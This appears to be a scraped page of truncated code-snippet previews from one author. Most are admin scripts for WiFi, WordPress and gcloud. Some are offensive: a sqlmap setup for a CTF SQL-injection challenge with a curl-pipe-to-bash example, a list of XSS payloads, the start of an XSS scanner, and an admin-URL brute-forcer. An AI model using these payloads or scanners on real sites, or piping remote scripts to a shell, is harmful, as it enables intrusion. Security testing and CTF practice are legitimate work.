richardevcom

# -----------------------------------------------------------------------------
# monit - Toggle WiFi interface between monitor and managed mode
# 
# This script allows you to toggle your WiFi interface between monitor mode 
# and managed mode based on the provided arguments.
#
# Usage:
#   ./alfa-monit.sh -i <wifi_interface> [-e | --enable | -d | --disable | -h | --help]
#
# Options:

richardevcom

# Challange: https://app.hackinghub.io/hubs/interactive-sqli-boolean
#!/bin/bash

apt update
apt install -y sqlmap

# Provide injectable URL for this script
# URL="https://dc9zxy0y.eu2.ctfio.com/api/checkuser?username=adam" && curl -sL https://gist.githubusercontent.com/richardevcom/8ecfe76937db4d761bdb203d28c25ebc/raw | bash -s -- "$URL"

URL=$1

richardevcom

chown -R www-data:www-data .
find . -type d -exec chmod 755 {} \;
find . -type f -exec chmod 644 {} \;
#find . -type f -name ".htaccess" chmod 640 {} \; # If you're not using Pretty URLs (permalinks), use 604 < 640 permissions.
find . -type f -name "wp-config.php" chmod 440 {} \;

richardevcom

find . -exec sudo chattr -i {} \;

richardevcom

# Use --force to skip "usage" errors
gcloud services disable --project <project_id> $(gcloud services list --enabled --project <project_id> --format="value(NAME)")

richardevcom

#!/bin/bash

# Which domain?
get_domain(){
        printf "\n"
        read -p "Domain: " DOMAIN
}

# Is domain set?
domain_is_set(){

richardevcom

UPDATE wp_options SET option_value = replace(option_value, 'http://www.oldurl', 'http://www.newurl') WHERE option_name = 'home' OR option_name = 'siteurl';
UPDATE wp_posts SET guid = replace(guid, 'http://www.oldurl','http://www.newurl');
UPDATE wp_posts SET post_content = replace(post_content, 'http://www.oldurl', 'http://www.newurl');
UPDATE wp_postmeta SET meta_value = replace(meta_value,'http://www.oldurl','http://www.newurl');

richardevcom

<script>alert(123)</script>
&lt;script&gt;alert(&#39;123&#39;);&lt;/script&gt;
<img src=x onerror=alert(123) />
<svg><script>123<1>alert(123)</script>
"><script>alert(123)</script>
'><script>alert(123)</script>
><script>alert(123)</script>
</script><script>alert(123)</script>
< / script >< script >alert(123)< / script >
 onfocus=JaVaSCript:alert(123) autofocus

richardevcom

import requests
import argparse
import sys
from bs4 import BeautifulSoup as bs
from urllib.parse import urljoin


""" Prepare arguments for script parse """
parser = argparse.ArgumentParser(description="Detect if target is vulnerable to XSS!?")
parser.add_argument('-u', dest='url', type=str, help="Target URL")

richardevcom

import itertools
import string
import urllib2

def guess_admin_url(url, prefix):
  adminurl = url + prefix
  chars = string.ascii_lowercase + string.digits
  attempts = 0
  for password_length in range(1, 9):
    for guess in itertools.product(chars, repeat=password_length):